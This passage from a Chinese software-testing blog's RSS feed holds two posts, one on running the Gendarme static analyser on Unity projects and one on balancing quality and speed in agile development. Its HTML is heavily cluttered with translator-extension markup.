url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421319.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-11 23:39 <a href="http://www.blogjava.net/qileilove/archive/2014/12/11/421319.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>静态自动检查代码缺陷与隐患</title><link>http://www.blogjava.net/qileilove/archive/2014/12/11/421318.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 11 Dec 2014 15:38:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/11/421318.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421318.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/11/421318.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421318.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421318.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">代码缺陷和代码错误的最大区别是，代码缺陷不影响游戏编译，而代码错误编译都不通过。但是代码缺陷会影响游戏发布后产生的一系列BUG。。我今天无意间逛外国论坛发现的一个方法，使用了一下感觉挺给力的第一时间分享给大家。 下载下来以后，它是一个文件夹把整个文件夹拷贝在你unity的工程里面就行了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　然后下载最新的mono 它是跨平台的，我用的是MAC所以我下载的就是一个 dmg文件， 下载完毕后安装完成即可。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如下图所示， 选择Assets-&gt;Gendarme Report Level 选项，将弹出Gendarme界面，你可以选择它的优先级，然后点击Start按钮。如果报错的话，请把Assets文件夹下的gendarme文件夹和gendarme-report.html文件删除。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=50000" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412111053291aIOF.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果你的项目比较大的话需要耐心的等待一下，大概1分钟左右。Report生成完毕后会弹出如下窗口，点击Open Report按钮即可。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=50001" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412111053292c327.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如下图所示，他会生成一个Html的页面在本地，打开后写的非常清晰，并且已经分好了类，他会告诉你那一行代码有缺陷，如何来修改你的代码。一不小心代码就一大堆隐患，赶快一个一个修改吧~</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=50002" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412111053293WXj3.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421318.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-11 23:38 <a href="http://www.blogjava.net/qileilove/archive/2014/12/11/421318.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>敏捷开发下平衡质量和进度</title><link>http://www.blogjava.net/qileilove/archive/2014/12/11/421317.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 11 Dec 2014 15:37:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/11/421317.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421317.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/11/421317.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421317.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421317.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">敏捷</strong></u></a><a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">软件开发</strong></u></a>团队必须确保他们开发出来的产品质量能够满足要求，管理团队也经常希望开发团队能够提高速度以实现为客户提供更多的功能。本篇<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>中多个作者探讨了质量和速度之间的关系，并提出了一些既能提高质量也能加快进度的方法。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Bob Galen曾今在他的博客中发表了读懂我的唇语-敏捷并不快速的文章，在其中写到了追求软件开发进度下质量的重要性。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　敏捷是一个&#8220;质量游戏&#8221;，如果你以正直，承诺以及平衡的心态来玩这个游戏的话，那么结果将会是非常好的&#8220;速度游戏&#8221;，但它（速度）却并非没有代价。。。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果你无法玩转这个质量游戏，你所采纳的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">敏捷开发</strong></u></a>方法甚至比你以前使用的开发方法更慢。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　团队必须致力于把<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>在一个迭代中完成，这也就意味着这些工作需要满足定义工作完成的所有标准。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　很多敏捷团队允许返工 &#8211; 修复漏洞，完成<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>自动化，重构，或者设计不良导致sprint迭代的延误。即使大多数的敏捷工具允许拆分用例故事以捕捉在sprint迭代中已经完成的工作对比延期的工作，我也还是认为这给团队传达了错误的信息，让他们认为工作不在一个sprint迭代内完成是可以接受的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　读懂我的唇语 &#8211; 并不是把所有事情做完，做完，做完！</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　正如Bob解释的：一个组织不应该总是力图让进度变得更快，而应该更加注重质量。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　因此，下一次当你听到有人在激情澎湃的谈论着敏捷代表了更快的速度时，请打断他们，尝试向他们解释敏捷并不是一个&#8220;速度游戏&#8221;，而是应该强调敏捷是一个&#8220;或许能够快速运转的质量游戏&#8221;。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Tim Ottinger曾今写过关于敏捷团队进度的14个奇怪观点，其中一个观点中就提到了质量和速度之间的关系。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　尽管大家通常会降低质量要求以求在较短时间内尽快完成工作，但是如果团队所开发的代码质量不高的话，经过全部sprint迭代后的进度最终都还是会被降低。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Stephen Haunts在他的题目为进度并不是目标或者目的博客帖子中，描述了当管理者设定团队的进度目标后对质量会产生什么影响：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（&#8230;）为了增加交付的功能点数目以满足绩效目标，团队会牺牲掉系统的质量，但从长远来看这样最终还是会降低团队的进度，并且会引入技术隐患。敏捷团队最好关注正在开发系统的质量与流程过程（持续交付和集成等等），以及负责开发系统的团队成员本身。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　软件开发者必须在进度和质量之间掌握平衡，正如Blake Haswell在文章什么是代码质量中解释的那样：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　虽然经常会有很多的外部压力向进度方面倾斜，但是如果你不够重视质量的话，进度最终还是会趋于缓慢以及停滞，以至最终整个项目走向颠覆。考虑到一个项目的代码质量决定了它能够在多大程度上适应需求的变化，一个可以持续改进的事情是你需要花费一部分时间来优化自己项目的代码质量。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　Blake提供了一个可以用来检查代码质量的属性列表：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　可理解性： 代码需要在各个层面上能够被容易地理解。理想情况下，软件应该非常简单，并没有非常明显的缺陷。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　可测试性： 代码需要被编写的非常容易被测试。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　正确性： 代码需要满足功能和非功能性的需求。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　有效性： 代码需要有效的使用系统资源（内存，CPU，网络连接，等）。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Hugo Bara&#250;na在他的博客文章名为内部质量低下软件的症状中解释了软件是如何因为变更而&#8220;变得更糟&#8221;的，最终导致质量低下并且降低进度。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　假如你正在领导一家创业公司的技术或者产品团队，你是首席技术官，并且已经推出了你们产品的第一个版本，做的还挺成功的。你们的业务模型已经得到了验证，现在你们正处于快速发展期。这真是太棒了！但这也是有代价的，它带来了一系列新的挑战。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　你们产品的第一个版本工作的很好，但是代码库却无法满足持续发展的要求。或许你的团队进度并没有像以前那样好了，团队成员一直在抱怨代码的质量问题，首席执行官和产品经理想要一些新的功能，但你现在代码规划根本无法满足业务的需求。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">他提供了一个指示质量低下的症状列表，这个列表能够帮助你来决定是否需要重写或者重构：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　所有事情都很艰难</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　进度慢</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　测试套件运行缓慢</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　无法避免的缺陷</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　你的团队是消极的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　知识缺乏共享</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　新开发人员成长周期太长</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　你又是如何平衡质量和进度的呢？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a 